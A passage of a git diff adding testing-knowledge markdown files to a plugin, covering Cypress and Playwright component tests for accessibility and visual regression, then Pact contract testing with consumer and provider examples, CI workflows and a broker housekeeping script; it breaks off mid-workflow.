+    await expect(component.getByText('john@example.com')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Create NEW providers per test (QueryClient, Router, Auth)
+- Prevents state pollution between tests
+- `initialAuth` prop allows testing different auth states
+- Custom mount command (`wrappedMount`) reduces boilerplate
+- Providers wrap component, not the entire test suite
+
+### Example 3: Accessibility Assertions
+
+**Context**: When testing components, validate accessibility alongside functionality using axe-core, ARIA roles, labels, and keyboard navigation.
+
+**Implementation**:
+
+```typescript
+// Cypress with axe-core
+// cypress/support/component.tsx
+import 'cypress-axe';
+
+// Form.cy.tsx
+import { Form } from './Form';
+
+describe('Form Component Accessibility', () => {
+  beforeEach(() => {
+    cy.wrappedMount(<Form />);
+    cy.injectAxe(); // Inject axe-core
+  });
+
+  it('should have no accessibility violations', () => {
+    cy.checkA11y(); // Run axe scan
+  });
+
+  it('should have proper ARIA labels', () => {
+    cy.get('input[name="email"]').should('have.attr', 'aria-label', 'Email address');
+    cy.get('input[name="password"]').should('have.attr', 'aria-label', 'Password');
+    cy.get('button[type="submit"]').should('have.attr', 'aria-label', 'Submit form');
+  });
+
+  it('should support keyboard navigation', () => {
+    // Tab through form fields
+    cy.get('input[name="email"]').focus().type('test@example.com');
+    cy.realPress('Tab'); // cypress-real-events plugin
+    cy.focused().should('have.attr', 'name', 'password');
+
+    cy.focused().type('password123');
+    cy.realPress('Tab');
+    cy.focused().should('have.attr', 'type', 'submit');
+
+    cy.realPress('Enter'); // Submit via keyboard
+    cy.contains('Form submitted').should('be.visible');
+  });
+
+  it('should announce errors to screen readers', () => {
+    cy.get('button[type="submit"]').click(); // Submit without data
+
+    // Error has role="alert" and aria-live="polite"
+    cy.get('[role="alert"]')
+      .should('be.visible')
+      .and('have.attr', 'aria-live', 'polite')
+      .and('contain', 'Email is required');
+  });
+
+  it('should have sufficient color contrast', () => {
+    cy.checkA11y(null, {
+      rules: {
+        'color-contrast': { enabled: true }
+      }
+    });
+  });
+});
+
+// Playwright with axe-playwright
+import { test, expect } from '@playwright/experimental-ct-react';
+import AxeBuilder from '@axe-core/playwright';
+import { Form } from './Form';
+
+test.describe('Form Component Accessibility', () => {
+  test('should have no accessibility violations', async ({ mount, page }) => {
+    await mount(<Form />);
+
+    const accessibilityScanResults = await new AxeBuilder({ page })
+      .analyze();
+
+    expect(accessibilityScanResults.violations).toEqual([]);
+  });
+
+  test('should support keyboard navigation', async ({ mount, page }) => {
+    const component = await mount(<Form />);
+
+    await component.getByLabel('Email address').fill('test@example.com');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByLabel('Password')).toBeFocused();
+
+    await component.getByLabel('Password').fill('password123');
+    await page.keyboard.press('Tab');
+
+    await expect(component.getByRole('button', { name: 'Submit form' })).toBeFocused();
+
+    await page.keyboard.press('Enter');
+    await expect(component.getByText('Form submitted')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Use `cy.checkA11y()` (Cypress) or `AxeBuilder` (Playwright) for automated accessibility scanning
+- Validate ARIA roles, labels, and live regions
+- Test keyboard navigation (Tab, Enter, Escape)
+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
